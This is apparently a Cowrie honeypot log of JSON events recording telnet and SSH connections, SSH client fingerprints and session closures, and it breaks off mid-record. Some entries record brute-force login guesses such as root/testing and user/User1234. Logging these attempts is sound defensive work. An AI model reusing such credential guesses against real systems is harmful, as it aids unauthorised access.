{"eventid":"cowrie.session.closed","duration":42.432663679122925,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.764988Z","src_ip":"162.55.233.176","session":"9065fd223a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58652,"dst_ip":"159.203.135.109","dst_port":23,"session":"017afca8a70a","protocol":"telnet","message":"New connection: 162.55.233.176:58652 (159.203.135.109:23) [session: 017afca8a70a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:44.853766Z"}
{"eventid":"cowrie.session.closed","duration":36.143540382385254,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:45.233971Z","src_ip":"162.55.233.176","session":"517948e303be","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:45.586743Z","src_ip":"213.209.159.158","session":"e2169c86caa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:45.591613Z","src_ip":"213.209.159.158","session":"e2169c86caa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.3596727848053,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:46.362080Z","src_ip":"162.55.233.176","session":"b32f9369f186","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58664,"dst_ip":"159.203.135.109","dst_port":23,"session":"70e2b063c980","protocol":"telnet","message":"New connection: 162.55.233.176:58664 (159.203.135.109:23) [session: 70e2b063c980]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:46.366146Z"}
{"eventid":"cowrie.session.closed","duration":35.977707862854004,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:46.941382Z","src_ip":"162.55.233.176","session":"842d80482e4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.49856519699097,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.347915Z","src_ip":"188.208.141.113","session":"475189312d02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.148132801055908,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.383525Z","src_ip":"162.55.233.176","session":"c6a822a5ad2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58670,"dst_ip":"159.203.135.109","dst_port":23,"session":"881afd0fd460","protocol":"telnet","message":"New connection: 162.55.233.176:58670 (159.203.135.109:23) [session: 881afd0fd460]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.460322Z"}
{"eventid":"cowrie.session.closed","duration":34.92170786857605,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.574482Z","src_ip":"162.55.233.176","session":"1fdf6bbd5153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.4170560836792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.602979Z","src_ip":"162.55.233.176","session":"e327325e5086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":58230,"dst_ip":"10.17.0.5","dst_port":23,"session":"c77f4abea579","protocol":"telnet","message":"New connection: 188.208.141.113:58230 (10.17.0.5:23) [session: c77f4abea579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.615357Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58672,"dst_ip":"159.203.135.109","dst_port":23,"session":"5619229c7af0","protocol":"telnet","message":"New connection: 162.55.233.176:58672 (159.203.135.109:23) [session: 5619229c7af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.694765Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58686,"dst_ip":"159.203.135.109","dst_port":23,"session":"02f617dbf0b3","protocol":"telnet","message":"New connection: 162.55.233.176:58686 (159.203.135.109:23) [session: 02f617dbf0b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.845765Z"}
{"eventid":"cowrie.session.closed","duration":35.82689809799194,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:47.908239Z","src_ip":"162.55.233.176","session":"60529dcea529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73350644111633,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:48.460909Z","src_ip":"162.55.233.176","session":"f8e84f46d618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.093955755233765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:48.550886Z","src_ip":"162.55.233.176","session":"1f3c19a40857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.33310031890869,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:48.704313Z","src_ip":"162.55.233.176","session":"cf6e1ce0c825","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58702,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a972011c2b","protocol":"telnet","message":"New connection: 162.55.233.176:58702 (159.203.135.109:23) [session: 95a972011c2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:48.794384Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58712,"dst_ip":"159.203.135.109","dst_port":23,"session":"10a8c4365adb","protocol":"telnet","message":"New connection: 162.55.233.176:58712 (159.203.135.109:23) [session: 10a8c4365adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:48.876232Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":5746,"dst_ip":"10.17.0.5","dst_port":22,"session":"0df857b2e307","protocol":"ssh","message":"New connection: 38.137.11.14:5746 (10.17.0.5:22) [session: 0df857b2e307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:49.334823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:49.339389Z","src_ip":"38.137.11.14","session":"0df857b2e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.66356301307678,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:49.502773Z","src_ip":"162.55.233.176","session":"b35b86b1d058","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:49.564047Z","src_ip":"38.137.11.14","session":"0df857b2e307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"User1234","message":"login attempt [user/User1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:50.493922Z","src_ip":"38.137.11.14","session":"0df857b2e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.285563230514526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:50.940913Z","src_ip":"162.55.233.176","session":"5b1d81da421d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58724,"dst_ip":"159.203.135.109","dst_port":23,"session":"94b19a708a68","protocol":"telnet","message":"New connection: 162.55.233.176:58724 (159.203.135.109:23) [session: 94b19a708a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:51.694442Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:51.720690Z","src_ip":"38.137.11.14","session":"0df857b2e307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.15789222717285,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:52.181051Z","src_ip":"162.55.233.176","session":"565940ecbe55","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbd55bffbb57","protocol":"telnet","message":"New connection: 162.55.233.176:58738 (159.203.135.109:23) [session: bbd55bffbb57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:52.246175Z"}
{"eventid":"cowrie.session.closed","duration":38.478858947753906,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:52.708237Z","src_ip":"162.55.233.176","session":"6fc36b7abe39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.472745180130005,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.022093Z","src_ip":"162.55.233.176","session":"ae25b02e410a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57376,"dst_ip":"159.203.135.109","dst_port":23,"session":"652d84aee7ee","protocol":"telnet","message":"New connection: 162.55.233.176:57376 (159.203.135.109:23) [session: 652d84aee7ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.100517Z"}
{"eventid":"cowrie.session.closed","duration":31.99671220779419,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.532026Z","src_ip":"162.55.233.176","session":"33dbc908b599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57380,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8276b8df7cc","protocol":"telnet","message":"New connection: 162.55.233.176:57380 (159.203.135.109:23) [session: a8276b8df7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.767442Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57388,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01526cb01e9","protocol":"telnet","message":"New connection: 162.55.233.176:57388 (159.203.135.109:23) [session: a01526cb01e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.836912Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57396,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcafa0279c0f","protocol":"telnet","message":"New connection: 162.55.233.176:57396 (159.203.135.109:23) [session: dcafa0279c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.864772Z"}
{"eventid":"cowrie.session.closed","duration":33.92378330230713,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.909047Z","src_ip":"162.55.233.176","session":"4dedd3799a83","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.94985294342041,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:53.985746Z","src_ip":"162.55.233.176","session":"7255c3d6d5e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55312,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3ec3e6f43a9","protocol":"telnet","message":"New connection: 188.208.141.113:55312 (10.17.0.5:23) [session: b3ec3e6f43a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:54.080572Z"}
{"eventid":"cowrie.session.closed","duration":40.527111530303955,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:54.301040Z","src_ip":"188.208.141.113","session":"285798d9df27","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Virtualization","message":"login attempt [root/Virtualization] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:54.559896Z","src_ip":"213.209.159.158","session":"e2169c86caa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.43082404136658,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:54.674591Z","src_ip":"162.55.233.176","session":"ec5f48e1612b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.923617839813232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:54.782285Z","src_ip":"162.55.233.176","session":"a1602b057109","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.36767315864563,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:55.297951Z","src_ip":"162.55.233.176","session":"3f32251d7e52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.12163186073303,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:55.482642Z","src_ip":"162.55.233.176","session":"c983cb8a242b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.087590217590332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:55.988492Z","src_ip":"162.55.233.176","session":"f345279a563e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.605499744415283,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:56.012438Z","src_ip":"162.55.233.176","session":"003cd3fb1e9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57410,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c49589c5650","protocol":"telnet","message":"New connection: 162.55.233.176:57410 (159.203.135.109:23) [session: 1c49589c5650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:56.542431Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57424,"dst_ip":"159.203.135.109","dst_port":23,"session":"f66a156a146d","protocol":"telnet","message":"New connection: 162.55.233.176:57424 (159.203.135.109:23) [session: f66a156a146d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:57.190324Z"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:57.539500Z","src_ip":"213.209.159.158","session":"e2169c86caa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":29728,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2487061dd2","protocol":"ssh","message":"New connection: 213.209.159.158:29728 (10.17.0.5:22) [session: 9f2487061dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:57.622940Z"}
{"eventid":"cowrie.session.closed","duration":35.47308111190796,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:57.774049Z","src_ip":"162.55.233.176","session":"0ac0a19caaf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55320,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7abc02cc21","protocol":"telnet","message":"New connection: 188.208.141.113:55320 (10.17.0.5:23) [session: 0e7abc02cc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:58.044917Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":36964,"dst_ip":"159.203.135.109","dst_port":22,"session":"066a069e2d1c","protocol":"ssh","message":"New connection: 103.170.173.26:36964 (159.203.135.109:22) [session: 066a069e2d1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:58.446661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:58.451121Z","src_ip":"103.170.173.26","session":"066a069e2d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57440,"dst_ip":"159.203.135.109","dst_port":23,"session":"34c9fab63204","protocol":"telnet","message":"New connection: 162.55.233.176:57440 (159.203.135.109:23) [session: 34c9fab63204]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:58.546435Z"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:58.730180Z","src_ip":"103.170.173.26","session":"066a069e2d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57456,"dst_ip":"159.203.135.109","dst_port":23,"session":"81c9f08f7539","protocol":"telnet","message":"New connection: 162.55.233.176:57456 (159.203.135.109:23) [session: 81c9f08f7539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.234483Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing","message":"login attempt [root/testing] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.879168Z","src_ip":"103.170.173.26","session":"066a069e2d1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57470,"dst_ip":"159.203.135.109","dst_port":23,"session":"62044bb46aaf","protocol":"telnet","message":"New connection: 162.55.233.176:57470 (159.203.135.109:23) [session: 62044bb46aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.884076Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57476,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab7ca1aad286","protocol":"telnet","message":"New connection: 162.55.233.176:57476 (159.203.135.109:23) [session: ab7ca1aad286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.887459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:54:59.914266Z","src_ip":"213.209.159.158","session":"9f2487061dd2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 